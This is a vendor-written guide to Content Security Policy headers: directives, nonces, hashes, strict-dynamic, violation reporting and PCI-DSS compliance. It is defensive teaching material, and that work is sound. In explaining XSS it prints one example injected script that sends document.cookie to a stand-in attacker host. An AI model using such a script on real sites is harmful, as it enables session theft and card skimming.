Content Security Policy.
Explained properly.

A CSP is one of the most effective protections you can add to a website, and also one of the most misunderstood. This guide goes from what CSP actually does, all the way to nonces, strict-dynamic, reporting and PCI-DSS 4.0.1. You don't need a security background: if you can read an HTTP header, you can understand CSP.

# the simplest valid policy
Content-Security-Policy:
default-src 'self';
# a more useful one
Content-Security-Policy:
default-src 'self';
script-src 'self' https://analytics.example.com;
style-src 'self' https://fonts.googleapis.com;
font-src https://fonts.gstatic.com;

The basics

part_01
what is a content security policy?

A guest list for the browser.

A Content Security Policy is a set of rules that tells the browser which resources your website is allowed to load, and just as importantly which to block.

A modern page loads a lot: scripts, stylesheets, fonts, images, analytics, chat widgets, payment forms. Each comes from somewhere: your own server, a CDN, a third party. A CSP is a guest list for those sources. If something tries to load from a source that isn't on the list, the browser refuses it.

Think of your website as a venue and the browser as the bouncer at the door. Without a CSP the bouncer lets anyone in. With a CSP you hand them a guest list: "Scripts? Only from my own domain and this one CDN. Everything else stays outside."

The policy is delivered as an HTTP response header your server sends with every page:

Content-Security-Policy: default-src 'self'

That one line says: "By default, only load resources from my own origin." That's a complete, valid CSP.

why does it matter?

It defuses XSS and e-skimming.

The main threat CSP defends against is Cross-Site Scripting (XSS), and its modern, money-driven cousin, e-skimming (also called Magecart or formjacking). Somewhere on your site, untrusted input ends up rendered as HTML: a comment field, a search box, a URL parameter, a compromised third-party script. An attacker injects something like:

<script>
fetch('https://evil.example/steal?c=' + document.cookie)
</script>

If that script runs, it can steal session cookies, read everything the user types (including card numbers on a checkout page), redirect them, or quietly exfiltrate data. A CSP stops this: if your policy says scripts may only come from 'self' and no inline scripts are allowed, the injected <script> simply won't execute. The attacker got their code onto the page. The browser refused to run it.

For e-commerce the stakes are concrete. Card-skimming groups compromise a third-party script (analytics, a chat widget, an A/B testing tool) and use it to siphon card details from checkout. A CSP that only allows known, authorized scripts to run is one of the few controls that actually catches this. That is exactly why payment regulations now require it (see CSP and PCI-DSS 4.0.1).

your first csp header

Read it directive by directive.

Real sites load some outside resources. Say you use Google Fonts and a single analytics script. You'd extend the policy like this:

Content-Security-Policy:
default-src 'self';
script-src 'self' https://analytics.example.com;
style-src 'self' https://fonts.googleapis.com;
font-src https://fonts.gstatic.com
  • default-src 'self' is the fallback: same origin only.
  • script-src: scripts may come from your origin or that analytics host.
  • style-src: stylesheets from your origin or Google Fonts' CSS host.
  • font-src: font files from Google's font host.

Each directive is separated by a semicolon; each has a name followed by a space-separated list of allowed sources.

Understanding the pieces

part_02

A CSP is made of directives. Each directive governs one category of resource and is followed by a source list describing what's allowed.

script-src 'self' https://cdn.example.com
└───┬────┘ └──────────┬──────────────────┘
 directive        source list

The directives you'll use most.

DirectiveControls
default-srcFallback for most other *-src directives
script-srcJavaScript (<script>, inline handlers, eval)
style-srcCSS (<style>, <link rel=stylesheet>, inline styles)
img-srcImages (<img>, background-image, favicons)
font-srcFonts (@font-face)
connect-srcFetch / XHR / WebSocket / sendBeacon destinations
frame-src<iframe> sources
frame-ancestorsWho may embed you in a frame (replaces X-Frame-Options)
form-actionWhere forms may submit
base-uriWhat <base> tags may set
object-src<object>, <embed> (almost always 'none')
media-src<audio> and <video>

Source keywords and patterns.

A source list can contain hostnames, schemes, and a handful of special keywords. Keywords are wrapped in single quotes; hostnames are not.

'self'

The page's own origin (scheme + host + port). Does not include subdomains.

'none'

Nothing at all. object-src 'none' blocks all plugins.

'unsafe-inline'

Allows inline scripts/styles. Powerful, dangerous, and usually the wrong answer.

'unsafe-eval'

Allows eval() and similar. Avoid unless a dependency genuinely requires it.

'nonce-…'

Allows a specific inline script tagged with a matching nonce: the safe way to allow inline.

'sha256-…'

Allows a specific inline script or style by hash.

'strict-dynamic'

Trust scripts loaded by an already-trusted script (CSP Level 3).

https:  data:

Bare schemes. https: = any HTTPS host; data: = data URIs. Broad; use sparingly.

Hostnames and schemes can also be specific or wildcarded:

script-src 'self' https://cdn.example.com *.example.org https: data:
part_03
01

The inline-script problem.

The most common way developers "make CSP work" reopens the very door CSP is meant to close:

script-src 'self' 'unsafe-inline'

'unsafe-inline' allows any inline script to run, including the one an attacker injected. You've added a CSP header, your scanner shows a checkmark, and you have almost no XSS protection. The two safe ways to allow the inline code you actually need are nonces and hashes.

02

Nonces: the recommended approach.

A nonce ("number used once") is a random value you generate on the server for each page load, put in the CSP header, and stamp on each inline <script> you trust.

Content-Security-Policy: script-src 'self' 'nonce-rAnd0m2024Xyz'
<script nonce="rAnd0m2024Xyz">
// your trusted inline code
</script>

The browser runs only inline scripts whose nonce matches the header value. An attacker can't guess it (it changes every request), so injected inline scripts are blocked while yours run fine.

03

Hashes: for static inline code.

If an inline script never changes, allow it by the hash of its contents instead of a nonce. Compute the SHA-256 of the exact text between the tags, then list it:

script-src 'self' 'sha256-RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc='

Great for build-time-generated inline code where the content is fixed; awkward when content changes per request. That's what nonces are for.

04

strict-dynamic: scaling to real apps.

Host allowlists fall apart on complex sites: a trusted script loads another, which loads three more, each from a different CDN. 'strict-dynamic' (CSP Level 3) says: trust scripts loaded by an already-trusted script, regardless of host. You trust your entry-point script with a nonce or hash; anything it loads is trusted automatically, and the host allowlist is ignored.

script-src 'nonce-rAnd0m2024Xyz' 'strict-dynamic' 'unsafe-inline' https:

CSP3 browsers see 'strict-dynamic' + the nonce and ignore 'unsafe-inline' and https:. Older browsers ignore 'strict-dynamic' and fall back to them. Strong policy on modern browsers, working fallback on old ones: the pattern Google recommends.

05

Report-Only mode: test before you enforce.

The most important operational feature in all of CSP. There are two headers:

  • Content-Security-Policy: enforces the policy. Violations are blocked.
  • Content-Security-Policy-Report-Only: observes. Violations are reported but nothing is blocked.

With report-only, the browser evaluates your policy against every resource, reports anything that would be blocked, and lets it all load anyway. Zero user impact while you collect complete data. The workflow that actually works:

  1. Deploy a draft policy in report-only mode.
  2. Collect violations across a week or two of real traffic.
  3. Review what got flagged: legitimate resources you forgot, plus noise.
  4. Adjust until the only violations left are things you genuinely want to block.
  5. Switch the same policy to the enforcing header.
  6. Keep monitoring. New violations mean an attack or an unannounced change.

Reporting

part_04

A policy you can't observe is a policy you can't trust. Reporting is how CSP tells you what it's blocking, and it's the core of what csplog does. When the browser blocks (or, in report-only mode, would block) a resource, it sends a small JSON report to an endpoint you nominate, saying what was blocked, on which page, and which directive it violated.

report-uri vs report-to vs Reporting-Endpoints.

There are two mechanisms, and you currently need both. The legacy way, report-uri, POSTs each violation immediately as application/csp-report. It's technically deprecated, but has the broadest support and is the only mechanism Firefox honors as of 2026:

Content-Security-Policy: default-src 'self'; report-uri https://ingest.csplog.io/api/csp-report?token=YOUR_TOKEN

The modern way, the Reporting API, uses report-to, pointing at a named endpoint defined in a separate Reporting-Endpoints header. Reports arrive as application/reports+json with richer, camelCase fields:

Reporting-Endpoints: csplog="https://ingest.csplog.io/api/csp-report?token=YOUR_TOKEN" Content-Security-Policy: default-src 'self'; report-to csplog

The pragmatic reality: use both.

Browser support hasn't fully converged. The universally-safe configuration specifies both directives pointing at the same endpoint, and this is exactly the snippet csplog hands you for a project:

Reporting-Endpoints: csplog="https://ingest.csplog.io/api/csp-report?token=YOUR_TOKEN" Content-Security-Policy-Report-Only: default-src 'self'; report-uri https://ingest.csplog.io/api/csp-report?token=YOUR_TOKEN; report-to csplog

The noise problem.

Here's what nobody warns you about before you turn on reporting: most of what you receive is garbage. Browsers send violation reports for things that have nothing to do with your site. On a typical site, this noise outnumbers real violations. Teams turn on reporting, drown in junk within a day, and turn it off. It's the number one reason CSP reporting projects fail.

chrome-extension://

Browser extensions injecting scripts (also moz-extension://, safari-extension://).

antivirus

Antivirus and security software rewriting pages.

bots

Bots and crawlers behaving oddly.

data: blob: about:

Pseudo-URIs from internal browser machinery.

Edge cases & the real world

part_05

Common gotchas.

  • A specific directive replaces default-src entirely. Adding script-src 'self' does not inherit default-src's other sources. List everything explicitly.
  • default-src doesn't cover everything. frame-ancestors, base-uri and form-action do not fall back to it. Set them explicitly.
  • 'self' excludes subdomains. https://example.com does not match https://www.example.com. List subdomains or use *.example.com.
  • Inline event handlers count as inline scripts. onclick="…" is blocked unless allowed (via 'unsafe-hashes', discouraged). Move handlers into script files.
  • eval() needs 'unsafe-eval'. Some older libraries and setTimeout("string") calls rely on it. Find a modern alternative if you can.
  • data: images. Many sites need img-src 'self' data: for inline SVGs and base64 images. Fine for images; never put data: in script-src.
  • Third-party widgets pull in friends. A chat widget or tag manager loads scripts from hosts you never listed, exactly the case 'strict-dynamic' was designed for.
  • CMS and hosted platforms. WordPress, Shopify and similar often emit inline scripts you don't control. A pure nonce-based policy may be impractical; don't ship a broken site in the name of purity, but know exactly what you're trading away.

CSP and compliance: PCI-DSS 4.0.1.

If your site takes card payments, CSP isn't optional any more. It's effectively mandated. PCI-DSS 4.0 (and the 4.0.1 revision) introduced two requirements aimed squarely at e-skimming, in force since March 2025:

In plain terms: know which scripts run on your checkout, prove that only authorized ones run, and get alerted when your headers or scripts change unexpectedly. A CSP with violation reporting covers a large part of this: the policy authorizes scripts, while the reports plus header monitoring provide the change detection.

A practical rollout strategy.

01

Baseline.

Deploy a starting policy (default-src 'self' plus your obvious known sources) in report-only mode.

02

Observe.

Collect violations across real traffic for 7–14 days. Filter the noise.

03

Refine.

Add the legitimate sources you discover. Decide your inline-script strategy: nonces for dynamic, hashes for static, 'strict-dynamic' for complex apps.

04

Enforce.

Switch the refined policy to the enforcing header. Keep object-src 'none', base-uri 'self' and frame-ancestors locked down.

05

Monitor forever.

New violations after enforcement mean one of two things: someone shipped a change, or someone's attacking you. Both are things you want to know immediately.

Reference

part_06

Frequently asked questions.

Is a Content Security Policy required?
Not universally by law, but increasingly by regulation for specific cases. If you process card payments, PCI-DSS 4.0.1 effectively requires CSP on payment pages. Outside compliance, it's a strongly recommended security best practice rather than a legal mandate.
Does CSP slow down my website?
No. CSP is enforced by the browser using a header you already send; it adds no network round-trips and negligible processing. Reporting sends small JSON payloads out-of-band, asynchronously, so it doesn't block page loads either.
Will CSP break my site?
It can, if you enforce a policy that's too strict before testing it. That's exactly why report-only mode exists: deploy in report-only first, see what would break, fix it, then enforce. Done in that order, the risk is minimal.
What's the difference between report-uri and report-to?
report-uri is the legacy directive: one POST per violation, application/csp-report format, broadest support, technically deprecated. report-to is the modern Reporting API directive: batched, application/reports+json, paired with a Reporting-Endpoints header. Support is still uneven, so the safe answer is to use both pointing at the same endpoint.
Can I use CSP on WordPress / Shopify / Squarespace?
Yes, though hosted platforms that emit inline scripts make a pure nonce-based policy harder. You can still get strong protection; you may need to allow 'unsafe-inline' in places, ideally with 'strict-dynamic' and nonces where the platform supports them. The key is knowing what you're allowing and why.
Do I need 'unsafe-inline'?
Usually not, and you should treat reaching for it as a red flag. Prefer nonces (for per-request inline code) or hashes (for static inline code). 'unsafe-inline' largely cancels out CSP's XSS protection, so use it only when a platform genuinely forces your hand, and monitor closely when you do.
Is CSP enough to prevent XSS on its own?
No. CSP is defense in depth: it limits the damage of an injection that already happened. You still need input sanitization, output encoding and dependency hygiene. CSP is the last line, not the only line.
What's a good report-uri alternative?
Any dedicated CSP reporting tool that filters noise and helps you act on the data, rather than just dumping raw reports. The features that matter are automatic noise filtering, a usable dashboard, and ideally help turning violations into an improved policy, which is what csplog is built around.

CSP cheat sheet.

A hardened starting point to adapt. Collect reports, refine, then switch Content-Security-Policy-Report-Only to Content-Security-Policy to enforce.

Reporting-Endpoints: csplog="https://ingest.csplog.io/api/csp-report?token=YOUR_TOKEN"
Content-Security-Policy-Report-Only:
default-src 'self';
script-src 'self' 'nonce-{RANDOM}' 'strict-dynamic' https: 'unsafe-inline';
style-src 'self';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
frame-src 'none';
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
object-src 'none';
report-uri https://ingest.csplog.io/api/csp-report?token=YOUR_TOKEN;
report-to csplog

Source keyword quick reference.

KeywordMeaning
'self'Same origin (no subdomains)
'none'Nothing allowed
'unsafe-inline'Allow inline scripts/styles (risky)
'unsafe-eval'Allow eval() (risky)
'nonce-…'Allow inline code with matching nonce
'sha256-…'Allow inline code matching this hash
'strict-dynamic'Trust scripts loaded by trusted scripts
https:Any HTTPS host (broad)
data:data: URIs (fine for images, never scripts)

Add one URL.
Ship a real CSP.

csplog collects your violations, filters the noise, and uses an LLM to turn your real data into a policy you can actually ship, with a plain-English explanation for every rule.

free_scan launching_soon

This guide is maintained by the team behind csplog. We tell you what your policy should be.